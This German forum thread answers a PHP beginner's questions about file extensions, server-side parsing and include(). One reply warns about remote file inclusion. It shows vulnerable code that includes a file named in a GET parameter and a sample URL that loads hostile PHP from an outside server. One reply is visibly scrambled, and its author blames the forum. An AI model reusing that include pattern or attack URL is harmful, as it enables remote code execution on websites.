topfblume: Grundverständnisfragen

Tach auch ...

Ich brauche mal ein Schubs in die richtige Richtung. Bin immer noch ganz am Anfang was PHP betrifft.

Ich würde eigentlich nur gerne wissen, ob ich das soweit alles richtig verstanden habe.

Sobald irgendwo in meinem HTML-Dokument PHP-Code auftaucht muss ich die Datei als .php speichern.

Dann heißt meine Startseite index.php. Sollte die Startseite nicht besser als index.html gespeichert sein, oder erkennt jeder Browser PHP?

Die andere Sache wäre """include""" ! Was auch der Grund ist, warum meine Startseite PHP-Code enthält.

Man sollte keine .html 'includen' , da ja dann mitten im Quelltext (html, head, body usw.) auftaucht. Deshalb habe ich z.B. mein <p> Inhalt </p> in einer .inc gespeichert.

Ich könnte noch tausend Sachen fragen. PHP ist ne feine Sache.

Ach ja .. meine Fragenstellung fast vergessen.

-   Habe ich es soweit richtig verstanden?
   -   Ist .inc ok?
   -   und wie müsste der Befehl aussehen, wenn ich aus meiner .inc z.B. nur die <p>Inhalt</p> anzeigen lassen möchte und nicht die <h1>TEXT</h1> ?

Gruß

  1. Hallo

    Sobald irgendwo in meinem HTML-Dokument PHP-Code auftaucht muss ich die Datei als .php speichern.

    Ja

    Dann heißt meine Startseite index.php. Sollte die Startseite nicht besser als index.html gespeichert sein, oder erkennt jeder Browser PHP?

    Die Browser fordern die, z. B. in der Adresszeile angeforderte Datei an, egal um welchen Typ es sich handelt. Können sie den Inhalt der datei darstellen, tun sie dies. Bei PHP-dateien ist es so, dass die Datei auf dem Webserver abgearbeitet wird, und das Ergebnis dieses Vorgangs an den Browser gesandt wird. Das Ergebnis sollte _valides_ HTML sein. Und HTML kann jeder Browser anzeigen.

    Man sollte keine .html 'includen' , da ja dann mitten im Quelltext (html, head, body usw.) auftaucht. Deshalb habe ich z.B. mein <p> Inhalt </p> in einer .inc gespeichert.

    Rein theoretisch könntest du deinem Include auch die Endung .html verpassen. Die Datei sollte aber, wenn der <head>-Bereich schon an anderer Stelle angegeben wurde, keinen weiteren <head>-Bereich enthalten. Praktisch, schon aus Unterscheidungsgründen, ist aber .inc als Endung besser geeignet.

    -   und wie müsste der Befehl aussehen, wenn ich aus meiner .inc z.B. nur die <p>Inhalt</p> anzeigen lassen möchte und nicht die <h1>TEXT</h1> ?

    Schreibe kein <h1> in die .inc-Datei, dann wird die Überschrift auch nicht angezeigt. Sonst müsstest du die Datei wiederum z.B. per PHP einlesen um die gewünschten Codeteile auszugeben. Das wird dann aber etwas umfangreicher.

    Tschö, Auge

    --
    Die Musik drückt aus, was nicht gesagt werden kann und worüber es unmöglich ist zu schweigen.
    (Victor Hugo)
    Veranstaltungsdatenbank Vdb 0.1
    1. Moin ...

      Danke für die flinke Antwort.

      Also bin ich auf dem richtigen Weg.

      Das mit der "Nicht alles anzeigen Geschichte" lass ich wohl erst mal lieber. Ich komme dann noch mal wieder.

      By und schönes WE

    2. Hallo Auge.

      Sobald irgendwo in meinem HTML-Dokument PHP-Code auftaucht muss ich die Datei als .php speichern.

      Ja

      Nein, muss es nicht.

      Man kann genausogut den Parser anweisen (per .htaccess, usw.) auch *.html Dateien nach PHP-Code zu durchsuchen und auszuführen.

      Gruß, Ashura

      --
      Selfcode: sh:( fo:) ch:? rl:( br:^ n4:& ie:{ mo:) va:) de:> zu:) fl:( ss:| ls:[ js:|
      Try it: Become an Opera Lover in 30 days
      1. Hallo Ashura

        Sobald irgendwo in meinem HTML-Dokument PHP-Code auftaucht muss ich die Datei als .php speichern.

        Ja

        Nein, muss es nicht.

        Man kann genausogut den Parser anweisen (per .htaccess, usw.) auch *.html Dateien nach PHP-Code zu durchsuchen und auszuführen.

        Das stimmt schon, aber in der Praxis ist das für ihn wohl eher keine Alternative. Die meisten Hoster werden einen solchen Eingriff in die Serverkonfiguration nicht erlauben.

        Als theoretische Möglichkeit hätt' ich es der Vollständigkeit halber aber erwähnen sollen.

        Tschö, Auge

        PS: "Nein, muss es nicht." Wenn schon "muss sie nicht" (sie, die Topfblume). ;-)

        --
        Die Musik drückt aus, was nicht gesagt werden kann und worüber es unmöglich ist zu schweigen.
        (Victor Hugo)
        Veranstaltungsdatenbank Vdb 0.1
        1. Hallo Auge.

          Als theoretische Möglichkeit hätt' ich es der Vollständigkeit halber aber erwähnen sollen.

          Nobody's perfect. ;)

          PS: "Nein, muss es nicht." Wenn schon "muss sie nicht" (sie, die Topfblume). ;-)

          Nobody's perfect. ;)

          Gruß, Ashura

          --
          Selfcode: sh:( fo:) ch:? rl:( br:^ n4:& ie:{ mo:) va:) de:> zu:) fl:( ss:| ls:[ js:|
          Try it: Become an Opera Lover in 30 days
  2. Hallo topfblume,

    Sobald irgendwo in meinem HTML-Dokument PHP-Code auftaucht muss ich die Datei als .php speichern.

    Nein. Auch exe.exe odfoobarobar dPHP PHP vorkommen. Dateiendungen sind für HTTP reichlich egal. Wichtig ist nur, dass der Server weiß, dass er jene Datei über PHP PHP-Parser schicken muss.

    Dann heißt meine Startseite index.php. Sollte die Startseite nicht besser als index.html gespeichert seNöbr />Nö, das ist ganz egal. Der Server bekommt durch seine Konfiguration gesagt, welches die Datei ist, die er anzeigen soll, wenn quasi nur das Verzeichnis aufgerufen wird. Das kann wahlweise auch babcpiel.abc sein.

    oder erkennt jeder Browser PHP?

    Überlege nochPHPnmal, wo PHP läuft und wo der Browser.

    Man sollte keine .html 'includen' , da ja dann mitten im Quelltext (html, head, body usw.) auftaucht. Deshalb habe ich z.B. mein <p> Inhalt </p> in einer .inc gespeichert.

    Es ist letztlincludestwas du includest. Wichtig ist, dassvalidesnftiges, valides HTML am ende dabei heraus kommt.

    Grüße
    SIG/>  David_Nobody/_>everNneedymorelthanr need more than 640k RAM!<<Gates>1981 Bill Gates

    1. Hallo zusammen,

      Irgendwie scheint mein Beitrag völlig verrüttelt worden zu sein. Ich habe nie "dassvalidesnftiges, valides HTML" geschrieben, wohl aber "dass vernünftiges, valides HTML".
      Hab nur Rechtschreibprüfung (da war alles ok), Vorschau und direkt dann auf Senden. Dabei schaute ich nicht noch einmal auf die Vorschau, dort war der Text auch etwas merkwürdig wie ich anschließen über die zurück-Tasten sah..

      Grüße
        David

      --
      >>Nobody will ever need more than 640k RAM!<<
      1981 Bill Gates
      1. Hi David,

        Irgendwie scheint mein Beitrag völlig verrüttelt worden zu sein. Ich habe nie "dassvalidesnftiges, valides HTML" geschrieben, wohl aber "dass vernünftiges, valides HTML".
        Hab nur Rechtschreibprüfung (da war alles ok), Vorschau und direkt dann auf Senden. Dabei schaute ich nicht noch einmal auf die Vorschau, dort war der Text auch etwas merkwürdig wie ich anschließen über die zurück-Tasten sah..

        Bugs bitte im Bugtracker melden.

        MfG, Dennis.

        --
        Mein SelfCode: ie:{ fl:( br:> va:) ls:[ fo:) rl:( n4:# ss:) de:] js:| ch:{ sh:( mo:} zu:|
        Antworten per E-Mail gibts hier nicht!
  3. Hallo,

    Sobald irgendwo in meinem HTML-Dokument PHP-Code auftaucht muss ich die Datei als .php speichern.

    Wenn du möchtest das der PHP Script ausgeführt wird, ja.

    Dann heißt meine Startseite index.php. Sollte die Startseite nicht besser als index.html gespeichert sein

    Nein

    oder erkennt jeder Browser PHP?

    Also der PHP Script sendet dem Browser den Header(Dateiart) zu, sofern man diesen nicht manuell geändert hat, dass die Ausgabe im Text/HTML Format geschieht.
    Jeder normale Browser weiß, dass er Dateien die den Header Text/HTML hat, anzeigen soll.
    Ändert man den Header manuell mit der Funktion header(); so kann man z.B. die Ausgabe auch als Download oder als Bild an den Browser senden.
    Andere Dateien, z.B. mit exotischen Endungen (z.B. index.andavos) können auch als Text/HTML Angezeigt werden, wenn diese Datei als Header Text/HTML sendet.

    -   Ist .inc ok?

    Jein. Also man kann auch PHP Dateien includen, in denen z.B. Zugangsdaten (z.B. zur Datenbank) liegen.
    Da der User den Inhalt von .php Dateien normalerweise nicht auslesen können, sind diese gut darin aufgehoben.
    Allerdings wenn sie jetzt die zugang.inc direkt aufrufen, wird der PHP Code nicht ausgeführt, sondern an den User gesendet.
    Somit erhält er den PHP Code und auch die Zugangsdaten.

    Wichtig:
    Niemals per URL die Datei die geladen werden soll bestimmen lassen.

    Bsp:
    <?php
    $datei = $_GET["datei"];
    include("$datei");
    ?>

    Dann kann ich z.B. in der URL folgendes eingeben:
    index.php?datei=http://mein-server.de/boese_datei.php

    Dann lädt er von meinem Server die boese_datei.php und weil diese PHP Code enthält (wenn er vorher nicht von mein-server.de interpretiert wurde), interpretiert er diese auch.
    Dieser PHP Code kann z.B. alle Dateien auf deinem Server löschen.

    Darum lieber den Script so basteln:

    <?php
    $datei[] = "index.php";
    $datei[] = "beispiel.php";
    $datei[] = "text.php";

    $id = $_GET["id"];
    include($datei[$id]);
    ?>

    So kann ein Angreifer keine fremde Dateien laden, sondern nur die Vorgegebenen.
    Das geht natürlich auch mit einer Datenbank

    MFG
    Andavos

  4. Hallo!

    Dann heißt meine Startseite index.php. Sollte die Startseite nicht besser als index.html gespeichert sein, oder erkennt jeder Browser PHP?

    Dem Browser ist wie schon gesagt wurde herzlich egal ob Du auf dem Server HTML-Dateien ablegst, oder HTML-Code von PHP, Java, C oder sonstwas erzeugen lässt. Ich empfehle Dir mal folges zu lesen:

    http://tut.php-q.net/kommunikation.html
    http://php-faq.de/q/q-web-server-client.html
    http://de2.php.net/manual/de/introduction.php#intro-whatis

    (die 3 Hauptadressen sollte man sich in jedem Fall bookmarken, denn da werden auch einige andere Fragen beantwortet...)

    Die andere Sache wäre """include""" ! Was auch der Grund ist, warum meine Startseite PHP-Code enthält.

    Dann willst Du vermutlich gar kein include() verwenden! Im Manual steht zu der Funktion: " Die include() Anweisung bindet die angegebene Datei ein und wertet diese aus."

    Du willst die Datei zwar einbinden, aber willst Du sie auch auswerten, also darin enthaltenen PHP-Code auch ausführen? Wenn Du nur HTML-Code in dieser Datei einbinden willst, solltest Du auch eine PHP-Funktion verwenden, die genau das macht, und nur das macht. Dafür gibt es die Funkion readfile(), die im Manual wie folgt beschrieben wird: "readfile -- Gibt eine Datei aus".

    Du solltest auch das beachten, was Andavos in seinem Posting bzgl. Sicherheit geschrieben hat.

    Man sollte keine .html 'includen' , da ja dann mitten im Quelltext (html, head, body usw.) auftaucht. Deshalb habe ich z.B. mein <p> Inhalt </p> in einer .inc gespeichert.

    Die Endung der Datei ist irrelevant für PHP. Du solltest eine Endung wählen, anhand der Du einfach erkennen kannst was sich in der Datei befindet. .inc wird oft verwendet.

    -   und wie müsste der Befehl aussehen, wenn ich aus meiner .inc z.B. nur die <p>Inhalt</p> anzeigen lassen möchte und nicht die <h1>TEXT</h1> ?

    Sowohl readfile() als auch include() lesen nur komplette Dateien ein. Wieso erzeugst Du nicht .inc Dateien wo genau das drinsteht was eingebunden werden soll? Alles andere wird deutlich komplizierter. Du könntest entweder Inhalt filtern, oder include() verwenden und per PHP-Code aufgrund irgendwelcher Bedingungen per "if" Abfrage unterschiedliche Inhalte ausgeben.

    Ich könnte noch tausend Sachen fragen. PHP ist ne feine Sache.

    Bevor Du hier 1.000 Fragen stellst die schon 100.000 mal beantwortet wurden ;-), solltest Du Dir ein paar Grundlagen anlesen, hierbei helfen Dir:

    * ein sehr gutes PHP-Tutorial: http://tut.php-q.net/
    * das offizielle PHP-Manual: http://de2.php.net/manual/de/
    * die FAQ der deutschen PHP-Newsgroup: http://php-faq.de/

    Grüße
    Andreas

    --
    SELFHTML Tipps & Tricks: http://aktuell.de.selfhtml.org/tippstricks/